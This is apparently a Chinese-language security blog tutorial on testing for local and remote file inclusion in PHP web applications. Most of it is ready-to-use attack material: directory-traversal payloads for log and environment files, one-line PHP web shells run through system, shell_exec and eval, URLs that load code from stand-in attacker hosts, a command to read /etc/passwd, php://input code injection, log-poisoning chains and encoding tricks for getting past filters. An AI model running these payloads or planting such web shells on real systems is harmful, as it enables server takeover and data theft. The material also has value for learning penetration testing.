阳子
阳子
Published on 2024-11-20 / 2 Visits
0
0

文件包含测试

漏洞描述

文件包含漏洞(File Inclusion Vulnerability)是常见的Web应用安全漏洞之一,通常由服务器端未正确验证用户提供的文件路径或文件名引起。攻击者通过操控输入参数使服务器加载或执行攻击者指定的文件,从而实现信息泄露、代码执行等恶意操作。

文件包含漏洞主要分为两种类型:

本地文件包含(Local File Inclusion, LFI)

远程文件包含(Remote File Inclusion, RFI)

常见的包含方式:

  • 同目录包含 file=.htaccess

  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db

  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log

  • 漏洞利用 /proc/self/environ

本地文件包含测试

对存在漏洞的页面进行抓包,并构建恶意payload,可调用Yakit插件进行构造。

998D981D-97B8-495B-82C4-5C2F5ACE3D0D.png

远程文件包含

1. 基本远程恶意文件加载

直接通过漏洞加载攻击者托管的恶意脚本。

  • 目标URL

    http://example.com/index.php?page=http://attacker.com/malicious.php
  • 恶意文件内容(malicious.php):

    <?php system($_GET['cmd']); ?>
  • 执行命令: 攻击者通过URL传递命令参数:

    http://example.com/index.php?page=http://attacker.com/malicious.php&cmd=whoami

2. 动态域名和DNS控制

攻击者使用动态域名服务绕过过滤机制或方便部署。

  • 步骤

    1. 注册一个动态域名。

    2. 在域名中托管恶意文件。

  • 发起请求

http://example.com/index.php?page=http://attacker.dyndns.org/malicious.php

3. 加载远程后门

利用RFI漏洞上传后门文件并保持长期控制。

  • 示例后门代码

    <?php echo shell_exec($_GET['cmd']); ?>
  • 加载后门

    http://example.com/index.php?page=http://attacker.com/backdoor.php
  • 利用后门执行命令

    http://example.com/index.php?page=http://attacker.com/backdoor.php&cmd=cat+/etc/passwd

4. 伪造合法文件

通过伪装攻击文件为看似正常的文件(如配置文件、图片等),绕过检测。

  • 伪装文件地址

    http://example.com/index.php?page=http://attacker.com/legit.jpg
  • 伪装文件内容(包含恶意PHP代码):

    <?php eval($_GET['code']); ?>

5. 加载远程HTML/JavaScript

攻击者通过加载恶意HTML或JavaScript页面实施钓鱼或XSS攻击。

  • 示例攻击URL

    http://example.com/index.php?page=http://attacker.com/phishing.html
  • 效果: 用户访问此页面时被引导至攻击者的钓鱼网站或注入恶意脚本。


6. 使用伪协议加载恶意文件

某些情况下,RFI漏洞可以结合PHP的伪协议机制进行利用。

  • 示例伪协议

    http://example.com/index.php?page=php://input
  • 攻击步骤: 攻击者通过POST请求发送恶意代码:

    POST /index.php?page=php://input Content-Type: application/x-www-form-urlencoded <?php system($_GET['cmd']); ?>
  • 执行命令

    http://example.com/index.php?page=php://input&cmd=ls

8. 利用条件竞争

如果目标服务器对远程文件加载有时间限制,攻击者可以利用快速响应的恶意文件控制路径。

  • 攻击方式

    1. 托管一个文件路径返回动态内容。

    2. 短时间内多次请求:

      http://example.com/index.php?page=http://attacker.com/script.php

结合上传漏洞

攻击者通过上传漏洞在目标服务器上存储恶意文件,再利用RFI加载。

  • 步骤

    1. 利用文件上传漏洞上传malicious.php

    2. 使用RFI漏洞加载并执行:

      http://example.com/index.php?page=/uploads/malicious.php

配合CRLF注入

通过在请求中注入换行符和恶意代码,利用服务器日志或响应头实现RFI攻击。

  • 攻击方式

    1. 在日志中注入恶意PHP代码。

    2. 使用RFI漏洞加载日志文件。


配合本地文件包含(LFI)

当RFI漏洞与LFI漏洞结合时,攻击者可以远程加载文件至目标服务器,再通过LFI漏洞执行。

  • 步骤

    1. 通过RFI漏洞将恶意代码加载至目标服务器(如缓存或日志文件)。

    2. 使用LFI漏洞加载该文件并执行恶意代码。

  • 攻击示例

  • 加载到服务器的日志中

http://example.com/index.php?page=http://attacker.com/malicious.php
  • 通过LFI执行代码

http://example.com/index.php?page=/var/log/access.log


防御绕过技巧

  • 绕过文件路径过滤

    • 使用混淆路径:

      http://example.com/index.php?page=http:%2F%2Fattacker.com%2Fmalicious.php
    • 使用双写编码:

      http://example.com/index.php?page=http://attacker.com/malicious.php%25253f
  • 动态路径控制: 如果文件路径参数拼接动态字符串,攻击者可利用路径替换规则。

    http://example.com/index.php?page=../../http:/attacker.com/malicious.php


Comment